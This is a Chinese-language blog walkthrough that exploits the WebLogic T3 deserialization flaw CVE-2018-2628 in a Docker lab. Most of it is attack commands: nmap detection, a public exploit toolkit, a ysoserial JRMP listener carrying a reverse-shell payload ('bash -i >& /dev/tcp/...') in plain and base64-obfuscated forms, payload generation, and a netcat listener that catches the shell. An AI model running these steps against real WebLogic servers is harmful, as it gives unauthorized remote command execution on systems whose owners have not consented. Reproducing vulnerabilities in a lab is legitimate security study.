cve-2018-2628 Weblogic反序列化漏洞实现反弹shell

古城微笑少年丶 2021-08-31 01:21 485阅读 0赞

测试机:MacBook-Air  
测试机IP:192.168.0.100  
靶机IP:192.168.0.100:7001  
环境: docker  
工具：CVE-2018-2628漏洞利用工具包 [下载][Link 1]

**一. 环境搭建**

将环境vulhub的环境git到本地

git clone https://github.com/vulhub/vulhub.git

接着 cd weblogic/CVE-2018-2628  
![在这里插入图片描述][20200425164148161.png]  
输入docker-compose up -d 启动

docker-compose up -d

![在这里插入图片描述][20200425164512446.png]

启动后访问页面192.168.0.100:7001

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70]  
出现这个页面说明已经成功了

**二. 漏洞测试**

使用nmap进行扫描

nmap -n -v -p7001,7002 192.168.0.100 --script=weblogic-t3-info

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 1]  
结果显示开启了T3协议

下载 [CVE-2018-2628漏洞利用工具包][Link 1]  
![在这里插入图片描述][20200425171007812.png]  
修改url.txt 将里面的IP 改成目标IP  
![在这里插入图片描述][20200425170917237.png]

python CVE-2018-2628-MultiThreading.py

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 2]  
出现 is vul CVE-2018-2628 说明漏洞存在

**三. 漏洞复现**

启动JRMP Server：

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]

\[command\] : 需要执行的命令  
\[listen port\] : JRMP Server监听的端口。

这里我们反弹shell

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.100/9999 0>&1'

**此处特别注意！！！**

由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法，我们需要进行一次编码。

转化工具链接 : [http://www.jackson-t.ca/runtime-exec-payloads.html][http_www.jackson-t.ca_runtime-exec-payloads.html]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 3]  
编码后的命令如下

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'

运行命令  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 4]

出现 \* Opening JRMP listener on 8888

说明JRMP Server正在监听8888端口

执行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.0.100:8888 | xxd -p | tr -d $'\n' && echo

复制结果  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 5]

将weblogic\_poc.py 中的 PYLOAD进行替换

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 6]

并将此处IP改为目标 IP  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 7]  
使用 nc 进行监听本地的9999端口  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 8]  
执行

python weblogic_poc.py

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 9]  
可以看见反弹shell成功了  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 10]  
执行命令试试  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 11]

搞定～

参考链接

[http://www.jackson-t.ca/runtime-exec-payloads.html][http_www.jackson-t.ca_runtime-exec-payloads.html]  
[https://www.jianshu.com/p/6649118ba7b6][https_www.jianshu.com_p_6649118ba7b6]  
[https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628][https_github.com_vulhub_vulhub_tree_master_weblogic_CVE-2018-2628]

[Link 1]: https://github.com/Lighird/CVE-2018-2628
[20200425164148161.png]: /images/20210728/ec2862ed982a4baeae0f39c17252e36f.png
[20200425164512446.png]: /images/20210728/3f8d0fde44d542e198051a338e279155.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70]: /images/20210728/a18c636d127146c488917b77bd98c531.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 1]: /images/20210728/b9a255b1e0f74e5d88a02a718bef677e.png
[20200425171007812.png]: /images/20210728/e5bc003e42bd43d8bc590f2af5cc2f2a.png
[20200425170917237.png]: /images/20210728/09993b38c5f148a5a52e61e2319cc1df.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 2]: /images/20210728/dfaddff405f5474d956faa35e9363cb5.png
[http_www.jackson-t.ca_runtime-exec-payloads.html]: http://www.jackson-t.ca/runtime-exec-payloads.html
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 3]: /images/20210728/6428f2f5a68b4b569b3d44e9612f7786.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 4]: /images/20210728/0ae5516fb6414d478edac286dbeb4117.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 5]: /images/20210728/197190e4db104a5a89cbdb321f23f96f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 6]: /images/20210728/ea1e4a72d5db431192b50b8bc9ccf05b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 7]: /images/20210728/3e2f9c6f9623429eb4241e9e17ebecc5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 8]: /images/20210728/924166c9ce0f47aeae333c426e72c6fe.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 9]: /images/20210728/f6b6eb40ce654119860f2baa79de3fcd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 10]: /images/20210728/55c71b2fe27945df853dc57da58da45d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0JlY2t0aWNr_size_16_color_FFFFFF_t_70 11]: /images/20210728/560feb0e09994e7eb4dce30ee1fb9c84.png
[https_www.jianshu.com_p_6649118ba7b6]: https://www.jianshu.com/p/6649118ba7b6
[https_github.com_vulhub_vulhub_tree_master_weblogic_CVE-2018-2628]: https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628